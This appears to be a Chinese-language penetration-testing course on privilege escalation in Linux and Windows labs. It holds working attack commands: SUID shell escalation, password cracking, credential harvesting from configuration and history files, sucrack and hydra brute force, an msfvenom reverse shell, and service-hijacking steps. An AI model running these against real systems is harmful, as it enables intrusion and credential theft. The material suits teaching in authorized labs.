在本章实验中我们会先从 www-data 提权到跳板用户 alice 再从 alice 提权到 root 权限。
首先执行如下命令以初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_100_switchuser.sh ~/init_100_switchuser.sh;chmod x ~/init_100_switchuser.sh;sudo ./init_100_switchuser.sh 如上图所示实验环境初始化完成此时我们切换到了 www-data 用户——用于模拟通过 Web 漏洞反弹回的初始 shell。
我们首先尝试一下 SUID 提权在所有 www-data 用户有权访问的目录下搜索带 s 权限的可执行文件使用到的命令如下
find / -user root -perm -4000 -print 2/dev/null
搜索结果如下图所示 经过分析发现没有可用于 SUID 提权的可执行文件。
查看一下 home 目录下有哪些文件夹
ls -alh /home 发现 /home 目录下有一个 alice 目录推测有一个 alice 用户并且是可以登录系统的可以通过查看/etc/passwd文件验证。
但是 www-data 没有权限访问alice目录所以我们需要先试试能够提权到 alice 用户。 经过一番尝试我们发现/etc/passwd文件中有 alice 用户的密码 hash
cat /etc/passwd 根据之前学习的方法使用 john 来破解。新打开一个终端使用如下命令
john /etc/passwd 破解得到密码为 beautiful使用 su 命令登录 alice 用户 现在我们成功从 www-data 用户提权到了 alice 用户再尝试一次 SUID 提权
find / -user root -perm -4000 -print 2/dev/null 找到了/var/bin/php可执行文件该文件是可以用来 SUID 提权的方法如下
/var/bin/php -r pcntl_exec(/bin/sh, [-p]); 如上图所示我们成功提权到 root 权限。 关于哪些可执行文件可以用来 SUID 提权可以通过以下链接进行查询
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary
大家思考一下为什么 alice 用户能够查找到具有 s 权限的 php 可执行文件而 www-data 用户找不到呢
其实答案就是目录权限的区别让我们查看一下 /var/bin 目录权限
ls -lh /var 可以看到/var/bin目录的所有者和所有组均为 alice其他用户并没有读/写/执行权限。
所以当我们提权到其他用户时有时就能解锁一些之前无法访问的文件或目录而这恰好就可能被利用来进行提权。
实验总结
在本节实验中我们学习了当不能直接提权至 root 权限时如何通过先提权到其他普通用户再通过该用户提权到 root 用户的方法。
本章实验中我们只是选了一个简单例子作为抛砖引玉实战中的情况可能会更复杂不过请记住核心永远是围绕在不同用户的权限差异上。 查找敏感文件提权 知识点 重点关注的 Web 配置文件 通过 Web 配置文件提权方法 重点关注的用户相关的配置文件 通过用户相关配置文件提权方法
实验开始
假设我们已经通过 Web 漏洞反弹回一个 shell是 www-data 用户的权限。
通过尝试之前几个实验中的方法都未成功那么我们可以尝试在 Linux 上是否能寻找到一些认证信息并利用该认证信息进行提权。
在本章中我们会通过两个实验分别从 Web 服务配置文件和用户配置文件入手收集信息并完成提权。
Web 服务配置文件
有时候通过查找服务器上的 Web 配置文件可以发现数据库的连接账户和密码。登录数据库后通过收集数据库中存储的用户密码并且管理员如果存在密码复用的情况即可完成提权下面我们通过一个具体的实验来理解一下。
首先执行如下命令以初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_web.sh ~/init_90_web.sh;chmod x ~/init_90_web.sh;sudo ./init_90_web.sh 如上图所示实验环境初始化完成此时我们切换到了 www-data 用户——用于模拟通过 Web 漏洞反弹回的初始 shell。
通常情况下Linux Web 服务存放的路劲为 /var/www 目录在该路径下我们重点关注以下文件 database.php user.php *.config config.php
我们可以通过以下命令来搜索
find /var/www -type f \( -iname user.php -o -iname database.php -o -iname config.php -o -iname *.config \) 2/dev/null
当然不仅限于以上文件并且如果目标主机采用了 CMS我们可以通过谷歌查询该 CMS 的默认数据库连接文件的存放位置。
在实验主机上查看 /var/www 目录的文件 ls -lh /var/www 我们发现主机使用了 WordPress 内容管理系统通过谷歌查询得知WordPress 的数据库配置信息存放在$root/wp-config.php查看一下
more /var/www/wordpress/wp-config.php 如上图所示成功找到了 MySQL 的 root 账户和密码
root:cD8M2M8fMiDHu4m1
考虑到管理员可能存在密码复用的情况尝试使用密码 cD8M2M8fMiDHu4m1 登录系统 root 账户 但是很可惜并没有登录成功。
接下来我们登录 mysql 数据库看看能否在数据库中发现一些信息
mysql -u root -p -h 127.0.0.1 然后允许一下命令在 MySQL 数据库中收集信息
show databases;
use ROB
show tables;
select * from rob_user; 如上图所示收集到两个用户、密码信息
root:CMPc5MoAGf
alice:psoj9apv4u
我们再尝试一下新打开一个终端使用CMPc5MoAGf 登录 root 用户 成功登录 root 用户。
至此我们学习了通过寻找 Web 服务的配置文件来提权的一种方法实际上并不一定是找 Web 服务的配置文件其核心是通过寻找服务器上的敏感认证信息并结合密码复用进行提权的一种思想。
还有一种关于 mysql 的提权方法——MySQL UDF 提权该方法在 Windows 和 Linux 上都可用。
UDF 是 MySQL 的一个共享库通过 UDF 创建能够执行系统命令的函数 sys_exec、sys_eval 可以 UDF 执行系统命令来提权但要利用 MySQL UDF 有两个条件 获取到 mysql root 账户密码 MySQL 在系统上以 root 权限运行没有被降权实际上这种情况比较少
由于蓝桥实验环境的限制无法设计相关实验有兴趣的同学可以百度、谷歌研究一下。 用户相关配置文件
我们主要关注下面两个用户相关的配置文件 ~/.bash_profile
用于配置环境变量和启动程序当用户登录login时该文件会被执行在某些 Linux 发行版本中该文件是默认不创建的。 ~/.bash_history
每个用户的主目录下都定义了一个.bash_history文件用于记录用户 shell 历史命令默认记录最近输入的 1000 条命令我们也许可以从中收集到一些敏感信息部分 Linux 发行版本默认关闭了该共功能在某些 Linux 发行版本中默认关闭了该功能可以尝试用 history命令查看。
首先执行如下命令以初始化实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_learning_2.sh ~/init_90_learning_2.sh;chmod x ~/init_90_learning_2.sh;sudo ./init_90_learning_2.sh 如上图所示实验环境初始化完成后我们切换到了 tomcat-syl 用户。
首先查看 ~/.bash_profile 文件看是否能收集到一下敏感信息
cat ~/.bash_profile 但是很可惜看来用户 tomcat-syl 并没有使用~/.bash_profile文件。
再查看一下 ~/.bash_history文件
cat ~/.bash_history 发现这一行历史命令记录
echo tomcat-syl:09FMWNFS7n|chpasswd
这条命令的含义是修改 tomcat-syl 用户的密码为 09FMWNFS7n我们尝试一下能否用该密码执行 sudo
sudo whoami 如上图所示密码正确并且能够执行 sudo 权限。接下来使用之前学过的知识获取一个 root 权限的 shell
sudo /bin/bash -p 实验总结
在本节实验中我们学习了重点查找服务器上哪些 Web 相关的配置文件和用户相关的配置文件随后在实验中学习了通过以上两者进行提权的方法。
本章的核心挂念是在 Linux 主机上查找一些可能存放了敏感信息的文件并不仅限于 Web 配置文件和用户配置文件 还有一些重要文件也需要我们关注例如 备份文件例如 SSH 秘钥、登录凭证等可通过如下命令查找
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name *backup* -o -name *\.bak -o -name *\.bck -o -name *\.bk \) 2/dev/null Sqlite DB 文件
本章节篇幅有限不可能列举所有的敏感文件但只要我们掌握通过敏感文件收集信息的核心思想便能一法通时万法通了。 暴力破解提权 知识点 sucrack 工具的安装和使用 通过 hydra 工具爆破 SSH 协议
实验开始
在前面的实验中我们已经为大家介绍了多种 Linux 提权方法这些方法已经覆盖到了实战中的绝大部分场景但如果你遇到前面所有的方法都无法成功提权时别忘了还有一种最原始但有用的方法可以尝试——暴力破解。
通常来说可以通过两种途径暴力破解 root 用户的密码 通过 su 命令爆破 root 密码 通过 SSH 协议爆破 root 密码
下面我依次为大家介绍这两种方法。 通过 su 命令暴破 root 密码 Linux su 命令用于切换为其他使用者身份除 root 外其他用户使用时需要输入将要切换的「目标用户」的密码。
su 命令暴力破解使用的工具是 sucrack 。
sucrack 介绍和安装
sucrack 是一个多线程的Linux工具用于通过 su 爆破本地用户密码。
因为 su 命令需要从 TTY shell 获取用户输入因此不能只用一个简单的 shell 脚本来完成爆破sucrack 是采用 c 语言编写的工具并且支持多线程爆破效率非常高。
sucrakck 官方地址如下
https://leidecker.info/projects/sucrack.shtml 在实战环境中靶机可能是无法连接外网的因此我们可以使用如下两种方法安装 sucrack: 下载sucrack源码并上传到靶机上再编译运行。 下载sucrack源码在本地编译好之后再上传到靶机运行。
本课程旨在为大家演示 sucrack 的用法因此为了方便我们直接使用 apt 安装 sucrack sudo apt install sucrack 如上图所示安装成功。
sucrack 使用方法
sucrack 的用法非常简单最基础的命令如下
sucrack -w 20 wordlists.txt
参数解释 -w 指定线程数 wordlists.txt 爆破使用的字典
sucrack 默认爆破 root 用户你也可以使用 -u 指定要爆破的用户:
sucrack -u myuser -w 20 wordlists.txt
在尝试爆破之前我们先执行如下命令来部署实验环境
curl https://labfile.oss.aliyuncs.com/courses/2650/init_forcebrute.sh ~/init_forcebrute.sh;chmod x ~/init_forcebrute.sh;sudo ./init_forcebrute.sh 如上图所示此时我们已经切换为了普通用户 www-data 接下来我们将在实验中通过暴力破解的方法获取 root 用户的密码。
我预先准备了一份密码字典用于演示存放在 /tmp/common-wordlists.txt同学们也可以使用自己的字典。 使用如下命令尝试爆破 root 密码线程数保守一点设定为 20
sucrack -w 20 /tmp/common-wordlists.txt
开始爆破之后按键盘任意键刷新显示进度: 等待一会成功破解出 root 用户的密码为 ly: 然后使用 su root 切换为 root 用户 sucrack 功能是非常简单强大的你学会了吗 通过 SSH 爆破 root 密码 SSH 服务介绍
SSH 服务的配置文件有为两个分别是 /etc/ssh/ssh_config : 客户端的配置文件 /etc/ssh/sshd_config : 服务端的配置文件
仅当 /etc/ssh/sshd_config 中 PermitRootLogin 设置为 yesroot 用户才能登录 ssh 因此在通过 ssh 爆破 root 用户密码之前我们需要先使用如下命令来查询靶机是否允许 root 用户通过 ssh 登录
cat /etc/ssh/sshd_config |grep -i permitrootlogin 当 PermitRootLogin 被设置为 yes 时才用尝试 SSH 暴力破解否则就没必要在尝试了。
hydra 介绍和使用方法
SSH 协议爆破使用到的工具是 hydrahydra 是一款非常著名的爆破工具除了 SSH 协议以外hydra 还支持众多其他协议例如 RDP、SMB、HTTP、MySQL 等由于篇幅有限具体可以参考下面这篇文章
https://github.com/iSecurity-Club/Pentest-Methodologies/blob/master/Password%20Attacks/README.md
hydra 在 Kali Linux 上默认安装实验主机的 ubuntu 环境也已经提前安装好爆破 SSH 协议的语法如下
hydra -l root -P passwords.txt -t 4 -V IP ssh
参数解释 -l : 指定用户名 -P : 指定爆破字典 -t : 指定爆破线程 -V : 查看破解详情、进度
下面我们尝试爆破 root 用户的密码字典仍然使用 /tmp/common-wordlists.txt
hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh 如上图所示成功爆破出 root 用户的密码。
注意如果你使用的 hydra 是 v9.0 之前的版本在爆破 ssh 协议时很可能会出现误报请先升级后再使用实验环境是 v9.2。
实验总结
在本节实验中我们学习了通过两种途径爆破 SSH 服务的方法—— su 和 SSH并且分别介绍了对应的两种破解工具的使用。 自动化辅助工具提权 知识点 LinEnum 辅助工具的使用 linux-exploit-suggester 辅助工具的使用 实验开始
在前面章节中我们已经学习了多种 Linux 提权的方法这些提权方法已经覆盖了实战中的绝大部分场景。
如果你正在为了备考 OSCP 认证而努力那么恭喜你只要你把前面几种方法都理解并掌握考试中关于 Linux 提权这部分是绝对可以得心应手的。
除此之外还有一些 Linux 辅助工具可供使用这些辅助工具通常是 shell 脚本。需要明确的是这些辅助工具不会尝试漏洞利用仅仅只是帮助我们快速枚举系统信息使用它们的目的是节省时间所以你必须先理解提权的方法和原理。
Github 上有很多相关的开源项目在本章节实验中我会推荐两个比较有代表性的 LinEnum linux-exploit-suggester
和内核漏洞提权那章相同本章实验我们也需要使用到 Metasploitable2 虚拟靶机使用如下命令开启靶机
sudo virsh start Metasploitable2 Metasploitable2 靶机的信息如下 IP192.168.122.102 用户名 msfadmin 密码msfadmin
Metasploitable2 是 kvm 搭建的靶机所以启动会比较慢。稍微等待 1~2 分钟直到可以 ping 通192.168.122.102为止 使用 ssh 连接到靶机密码是 msfadmin命令如下
ssh msfadmin192.168.122.102 如上图所示成功登录Metasploitable2权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。 LinEnum 工具 LinEnum 介绍
LinEnum 是一个 Linux 主机本地信息枚举的 shell 脚本它有超过 65 项安全检查功能比如查询版本信息、内核信息、SUID/GUID 文件、文件权限、sudo 权限等其执行的检查项摘要如下 内核和发行版本的详细信息 系统信息、主机名、网络信息 用户信息、用户列表、用户组 敏感目录、文件的访问权限 环境变量配置详情 CronJobs 配置详情 运行服务、服务权限 部分应用的版本信息
更为详细的检查项说明可以查阅项目的[README.md](https://github.com/rebootuser/LinEnum)文档。
项目地址
https://github.com/rebootuser/LinEnum
使用方法
因为大多数情况下靶机是没有连接外网的权限的所以都是先下载到攻击机例如 Kali Linux然后再搭建 HTTP 服务上传到靶机。
在云主机上使用 wget 工具下载并存储到 /tmp/exploit.c命令如下不要在 Metasploitable2 的 ssh 终端中下载会报 SSL 错误
# 如果遇到拒绝连接错误多尝试几次即可
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh 接下来进入/tmp目录使用 Python3 快速搭建 HTTP 服务端口为 8000
cd /tmp
python3 -m http.server 8000 使用 ip addr 命令查询到主机 IP 地址为 192.168.122.1 在 Metasploitable2 终端中使用 wget 工具下载 LinEnum.sh并保存到/tmp:
wget 192.168.122.1:8000/LinEnum.sh -P /tmp 赋予LinEnum.sh执行权限
chmod x LinEnum.sh
接下来就可以执行LinEnum.sh进行检查由于LinEnum.sh执行速度非常快所以可以搭配 more 命令便于阅读使用空格进行翻页
./LinEnum.sh |more 自动快速收集系统信息便于我们阅读分析重点关注黄色字体的信息。 发现具有/root目录的访问权限 发现软件版本及弱口令 如上图所示发现 MySQL 的 root 用户无需密码即可登录测试一下发现登陆成功 发现 htpasswd文件 发现可利用的 SUID 文件nmap 尝试利用 nmap 提权并且提权成功 发现可查看 root 用户的 .bash_history文件 有没有觉得很方便合理的利用 LinEnum.sh脚本可以为我们节约大量的时间。 linux-exploit-suggester 工具 linux-exploit-suggester 介绍
linux-exploit-suggester 是一款根据系统发行版本号和内核版本号自动查找相应内核提权漏洞的工具。
LinEnum 功能已经非常强大但它缺少对内核漏洞的检查而linux-exploit-suggester刚好能弥补这一点。
项目地址
https://github.com/mzet-/linux-exploit-suggester
使用方法
和之前一样下载linux-exploit-suggester.sh 到云主机:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh
并上传到靶机Metasploitable2:
wget 192.168.122.1:8000/linux-exploit-suggester.sh -P /tmp 添加执行权限并执行脚本
chmod x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
不幸的是提示 bash 版本过低不支持运行该脚本 大多数时候是可以直接运行的但是如果偶尔遇到这种情况可以采用手动录入内核信息的方式。
在 Metasploitable2 上运行uname -a查询主机信息并将输出结果复制下来 然后回到云主机上运行./linux-exploit-suggester.sh脚本 -u : 指定uname -a 获取的信息 --kernelspace-only : 仅显示内核漏洞
./linux-exploit-suggester.sh -u Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux 下图是我们得到的分析结果 每一条漏洞都包含 Exposure 影响概率和 Download URL EXP 下载链接其中 Exposure 分级如下 Highly probable - 被评估的内核很有可能受到影响而且很有可能 PoC 漏洞不需要任何重大修改就能正常运行。 Probable - 有可能会成功但很有可能需要定制 EXP 漏洞来适应你的目标。 Less probable - 需要额外的手动分析来验证内核是否受到影响。 Unprobable - 内核受影响的可能性极低。
一般只用尝试Highly probable和robable定级的EXP即可。
但需要注意的是linux-exploit-suggester 的结果并不一定非常准确如果结果中的 CVE 均无法利用你仍然需要手动去 [Exploit-db.com](http://exploit-db.com) 搜索内核漏洞再来尝试。 实验总结
在本节实验中我们学习了 LinEnum 和 linux-exploit-suggester 提权辅助脚本工具的使用方法其实辅助工具还有很多例如以下两个 linPEAS BeRoot
如果你有兴趣可以下载尝试一下不过工具永远只能起到辅助作用最重要的还是理解提权的方法和思想。 Windows提权 概述
本文章将聚焦 Windows 系统中的 Privilege Escalation权限提升技术。你将学习到 Windows 中基础用户权限user privileges的工作原理 多种提升用户权限的方法 这些方法的作用原因与实现方式 可用于识别潜在权限提升路径escalation paths的工具 本课程致力于讲解实际场景中常见的权限提升方法因此不包含冷门方法obscure methods。 同时课程仅针对本地权限提升local privilege escalation不涉及通过 Active Directory 实现的权限提升。
前置要求 建议具备 Windows 系统的基础认知不过课程也会涵盖部分基础内容 课程默认你已在 Windows 系统上获得一个可正常使用的低权限 shelllowprivileged shell不涉及如何获取该 shell本课程属于后渗透测试post-exploitation课程
示例命令格式 LinuxKali命令# 命令内容 Windows 命令提示符command prompt命令 命令内容 Windows PowerShell 命令PS 命令内容
免责声明
本课程的设计参考了 OSCP 实验环境OSCP labs和考试场景但涵盖的权限提升技术范围远超 OSCP 学员所需掌握的内容。 需注意权限提升通常极为复杂且新的技术会不断涌现因此本课程并非 “完整” 的权限提升技术指南无法涵盖所有方法。 在合适的情况下作者会更新课程材料加入被认为有价值的新技术。
致谢 Sagi Shahar创建了最初的 Windows 配置脚本Windows setup script和权限提升工作坊privilege escalation workshop并授权本课程使用相关内容 Showeet.com授权本课程使用其演示模板presentation template Microsoft提供免费的 Windows 10 虚拟机VM
实验环境搭建
Windows 10
本课程基于 Windows 10 设计 若你已有 Windows 10 副本可直接使用 若没有可从 Microsoft 官网下载免费有限制的 Windows 10 虚拟机VMhttps://developer.microsoft.com/en-us/microsoftedge/tools/vms/
环境配置
tools.zip压缩包中包含一个配置脚本setup script该脚本专为 Windows 10 编写未在其他 Windows 版本上测试。 若你希望亲自实践课程中的权限提升操作建议安装 Windows 10 并运行此配置脚本。 该脚本也可从以下链接获取https://github.com/Tib3rius/WindowsPrivEsc-Setup
初始配置
安装完成后使用本地管理员账户local administrator account登录用户名 “IEUser”密码 “Passw0rd!”。 以管理员身份打开 PowerShell运行以下命令启用 SMBv1
powershell
PS Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol-Client -All
运行后需重启虚拟机VM。
SMB 服务器配置
在 Kali 中将tools.zip压缩包解压到某个目录进入该目录运行以下任一命令搭建 SMB 服务器 bash # 方法1
python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .
# 方法2
python /usr/share/doc/python-impacket/examples/smbserver.py tools . 从 Kali 向 Windows 复制文件 cmd copy \\192.168.1.11\tools\file.ext file.ext 从 Windows 向 Kali 复制文件 cmd copy file.ext \\192.168.1.11\tools\file.ext
运行配置脚本
将setup.bat脚本复制到 Windows 虚拟机 cmd copy \\192.168.1.11\tools\setup.bat setup.bat 以管理员身份打开命令提示符command prompt运行setup.bat脚本 cmd .\setup.bat
配置脚本后续操作
setup.bat脚本运行完成后重启虚拟机。 新创建的 “admin” 账户会自动登录。你也可以注销当前账户使用 “user” 账户登录密码为 “password321”。 系统中会创建可写目录C:\PrivEsc用于复制工具或可执行文件executables课程演示也会使用该目录。 Windows 中的 Privilege Escalation权限提升
基本概念
在 Windows 中进行权限提升的最终目标是获取以 Administrator 或 SYSTEM user 身份运行的 shell。 权限提升可能很简单例如利用 kernel exploit也可能需要对已入侵系统进行大量侦察reconnaissance。 在很多情况下权限提升并非依赖单一配置错误misconfiguration而是需要结合多个配置错误来实现。
所有权限提升本质上都是访问控制违规access control violations的案例。 访问控制access control与用户权限user permissions紧密相关。 在研究 Windows 权限提升时理解 Windows 如何处理权限permissions至关重要。
理解 Windows 中的权限Permissions
用户账户User Accounts
用户账户用于登录 Windows 系统可将其视为与唯一身份绑定的一组设置 / 偏好settings /preferences。 系统安装时会默认创建本地 “Administrator” 账户。 根据 Windows 版本不同可能还会存在其他默认用户账户如 Guest。
服务账户Service Accounts
服务账户顾名思义用于在 Windows 中运行服务services。 服务账户无法用于登录 Windows 系统。 SYSTEM 账户是默认服务账户之一拥有 Windows 本地账户中最高的权限。 其他默认服务账户包括 NETWORK SERVICE 和 LOCAL SERVICE。
组Groups 用户账户可属于多个组一个组也可包含多个用户 组便于对资源进行访问控制access control 常规组如 Administrators、Users的成员列表是固定的 伪组如 “Authenticated Users”的成员列表是动态的会根据特定交互变化
资源Resources
在 Windows 中资源也称为对象objects包含多种类型 文件 / 目录Files / Directories 注册表项Registry Entries 服务Services 用户和 / 或组能否对某资源执行特定操作取决于该资源的访问控制列表ACL。
ACL 与 ACE
Windows 中资源的访问权限由该资源的访问控制列表ACLAccess Control List控制。 每个 ACL 由 0 个或多个访问控制项ACEAccess Control Entry组成。 每个 ACE 定义了主体principal如用户、组与特定访问权限access right之间的关系。
示例文件 ACL/ACE 名称NameCATemp\ACL Test.txt 所有者Owneradmin (MSEDGEWIN10\admin) 可操作选项Change修改、Permissions权限、Auditing审计、Effective Access有效访问 备注如需更多信息双击某个权限项permission entry如需修改权限项选中该条目并点击 “Edit”若可用。 权限项Permission entries 类型TypeDeny主体Principaluser (MSEDGEWIN10\user)访问权限Access无None 类型TypeAllow主体PrincipalAdministrators (MSEDGEWIN10\Administrators)访问权限AccessFull control完全控制 类型TypeAllow主体PrincipalSYSTEM访问权限AccessFull control完全控制 类型TypeAllow主体PrincipalUsers (MSEDGEWIN10\Users)访问权限AccessRead execute读取和执行 类型TypeAllow主体PrincipalAuthenticated Users访问权限AccessModify修改 其他选项Add添加、Remove删除、View查看、Disable inheritance禁用继承
生成 Administrator Shell
使用 msfvenom
若你能以管理员权限执行命令可使用 msfvenom 生成反向 shellreverse shell bash # 生成64位Windows反向shell可执行文件LHOST为KaliIPLPORT为监听端口
# msfvenom -p windows/x64/shell_reverse_tcp LHOST192.168.1.11 LPORT53 -f exe -o reverse.exe 可使用 netcat 或 Metasploit 的multi/handler模块捕获该反向 shell。
使用 RDP
若 RDP 可用或可启用 RDP可将低权限用户添加到管理员组administrators group然后通过图形界面GUI打开管理员命令提示符 cmd net localgroup administrators 用户名 /add
从 Admin 提升到 SYSTEM
要从 Admin 用户提升到完整的 SYSTEM 权限可使用 Windows Sysinternals 的 PsExec 工具下载链接PsExec - Sysinternals | Microsoft Learn。 课程工具压缩包tools ZIP archive中已包含该工具运行以下命令 cmd .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe
权限提升工具Privilege Escalation Tools
为何使用工具
工具可自动化侦察reconnaissance过程帮助识别潜在的权限提升路径。 虽然理解工具的工作原理至关重要但在考试等时间有限的场景中工具的作用不可替代。 本课程主要使用 winPEAS 和 Seatbelt你也可以尝试其他工具选择最适合自己的工具。
PowerUp 与 SharpUp
PowerUp 和 SharpUp 是两款功能相似的工具用于检测特定的权限提升配置错误privilege escalation misconfigurations。 PowerUp 下载链接https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 SharpUp 源码链接GitHub - GhostPack/SharpUp: SharpUp is a C# port of various PowerUp functionality. 预编译版本Pre-CompiledGhostpack-CompiledBinaries/SharpUp.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub
运行 PowerUp
启动 PowerShell 会话使用点源dot sourcing方式加载脚本 powershell PS . .\PowerUp.ps1 运行Invoke-AllChecks函数开始检测常见的权限提升配置错误 powershell PS Invoke-AllChecks
运行 SharpUp
打开命令提示符command prompt直接运行可执行文件 cmd .\SharpUp.exe SharpUp 会立即开始检测与 PowerUp 相同的配置错误。
Seatbelt
Seatbelt 是一款枚举工具enumeration tool包含多个枚举检查项enumeration checks。 它不主动检测权限提升配置错误而是提供相关信息供进一步分析。 源码CodeGitHub - GhostPack/Seatbelt: Seatbelt is a C# project that performs a number of security oriented host-survey safety checks relevant from both offensive and defensive security perspectives. 预编译版本Pre-CompiledGhostpack-CompiledBinaries/Seatbelt.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub
运行 Seatbelt 运行所有检查并过滤不重要的结果 cmd .\Seatbelt.exe all 运行特定检查项 cmd .\Seatbelt.exe 检查项1 检查项2 …
winPEAS
winPEAS 是一款功能强大的工具不仅能主动检测权限提升配置错误还会在结果中高亮显示关键信息。 下载链接PEASS-ng/winPEAS at master · peass-ng/PEASS-ng · GitHub
运行 winPEAS
运行前需添加注册表项registry key然后重新打开命令提示符 cmd reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 运行所有检查跳过耗时搜索 cmd .\winPEASany.exe quiet cmd fast 运行特定类别检查 cmd .\winPEASany.exe quiet cmd systeminfo
accesschk.exe
accesschk.exe 是一款老旧但可靠的工具用于检查用户的访问控制权限access control rights。 可使用它检查用户或组对文件、目录、服务和注册表项的访问权限。 缺点该工具的较新版本会弹出图形界面GUI的 “接受 EULA” 弹窗在命令行中使用时需选择仍支持/accepteula命令行选项的旧版本。
Kernel Exploits内核漏洞利用
什么是 Kernel内核
Kernel 是任何操作系统的核心可视为应用程序application software与计算机硬件computer hardware之间的中间层。 Kernel 完全控制操作系统利用 Kernel 漏洞可获取 SYSTEM user 权限。
查找 Kernel Exploits
查找和使用 Kernel 漏洞利用通常步骤简单 枚举 Windows 版本 / 补丁级别使用systeminfo命令 查找匹配的漏洞利用通过 Google、ExploitDB、GitHub 编译并运行漏洞利用程序 需注意Kernel 漏洞利用通常稳定性较差可能是 “一次性” 的one-shot甚至可能导致系统崩溃system crash。
相关工具 Windows Exploit SuggesterGitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation 预编译 Kernel 漏洞利用Precompiled Kernel ExploitsGitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 WatsonGitHub - rasta-mouse/Watson: Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities
权限提升步骤注以下步骤适用于 Windows 7 提取 systeminfo 命令的输出 cmd systeminfo systeminfo.txt 运行 wesng 查找潜在漏洞利用 bash # python wes.py systeminfo.txt -i Elevation of Privilege --exploits-only | less 交叉验证结果与预编译漏洞利用GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 下载针对 CVE-2018-8210 的预编译漏洞利用程序到 Windows 虚拟机 windows-kernel-exploits/CVE-2018-8120/x64.exe at master · SecWiki/windows-kernel-exploits · GitHub 在 Kali 上启动监听器listener运行漏洞利用程序并指定反向 shell 可执行文件该 shell 将以 SYSTEM 权限运行 cmd .\x64.exe C:\PrivEsc\reverse.exe
Service Exploits服务漏洞利用
服务Services
服务是在后台运行的程序可接收输入或执行定期任务。 若服务以 SYSTEM 权限运行且存在配置错误利用这些配置错误可能获取 SYSTEM 权限的命令执行command execution。
服务相关命令 查询服务配置 cmd sc.exe qc 服务名 查询服务当前状态 cmd sc.exe query 服务名 修改服务配置选项 cmd sc.exe config 服务名 选项 值 启动 / 停止服务 cmd net start/stop 服务名
服务配置错误类型 不安全的服务属性Insecure Service Properties 未加引号的服务路径Unquoted Service Path 薄弱的注册表权限Weak Registry Permissions 不安全的服务可执行文件Insecure Service Executables DLL 劫持DLL Hijacking
不安全的服务权限Insecure Service Permissions
每个服务都有一个 ACL用于定义特定于服务的权限。 部分权限无风险如SERVICE_QUERY_CONFIG、SERVICE_QUERY_STATUS 部分权限有利用价值如SERVICE_STOP、SERVICE_START 部分权限风险极高如SERVICE_CHANGE_CONFIG、SERVICE_ALL_ACCESS
若你的用户拥有修改某服务配置的权限且该服务以 SYSTEM 权限运行则可将服务使用的可执行文件替换为自己的文件。 注意陷阱Potential Rabbit Hole若你能修改服务配置但无法停止 / 启动服务则无法实现权限提升 权限提升步骤 运行 winPEAS 检测服务配置错误 cmd .\winPEASany.exe quiet servicesinfo 记录可修改的 “daclsvc” 服务 使用 accesschk.exe 确认权限 cmd .\accesschk.exe /accepteula -uwcqv user daclsvc 查询该服务的当前配置 cmd sc qc daclsvc 查询该服务的当前状态 cmd sc query daclsvc 重新配置服务使其使用你的反向 shell 可执行文件 cmd sc config daclsvc binpath \C:\PrivEsc\reverse.exe\ 在 Kali 上启动监听器然后启动服务触发漏洞利用 cmd net start daclsvc
未加引号的服务路径Unquoted Service Path
在 Windows 中可执行文件运行时可省略扩展名如whoami.exe可直接通过whoami运行。 部分可执行文件需要参数arguments参数以空格分隔如someprog.exe arg1 arg2 arg3…。 这种特性会导致当使用未加引号且包含空格的绝对路径时路径解析会产生歧义。 以以下未加引号的路径为例C:\Program Files\Some Dir\SomeProgram.exe 对用户而言显然是运行SomeProgram.exe 对 Windows 而言可能将C:\Program视为可执行文件将 “Files\Some” 和 “Dir\SomeProgram.exe” 视为参数 Windows 会按顺序检查所有可能的解析结果。若你能向 Windows 解析顺序中优先于实际可执行文件的路径写入文件即可欺骗服务执行你的文件。
权限提升步骤 运行 winPEAS 检测服务配置错误 cmd .\winPEASany.exe quiet servicesinfo 记录 “unquotedsvc” 服务 —— 其路径未加引号且包含空格 C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe 使用 sc 命令确认 cmd sc qc unquotedsvc 使用 accesschk.exe 检查写入权限 cmd .\accesschk.exe /accepteula -uwdq C:\.\accesschk.exe /accepteula -uwdq C:\Program Files\.\accesschk.exe /accepteula -uwdq C:\Program Files\Unquoted Path Service\ 复制反向 shell 可执行文件并按需求重命名 cmd copy C:\PrivEsc\reverse.exe C:\Program Files\Unquoted Path Service\Common.exe 在 Kali 上启动监听器然后启动服务触发漏洞利用 cmd net start unquotedsvc 薄弱的注册表权限Weak Registry Permissions
Windows 注册表Registry中存储了每个服务的条目。由于注册表条目可配置 ACL若 ACL 存在配置错误即使无法直接修改服务也可能修改服务的配置。
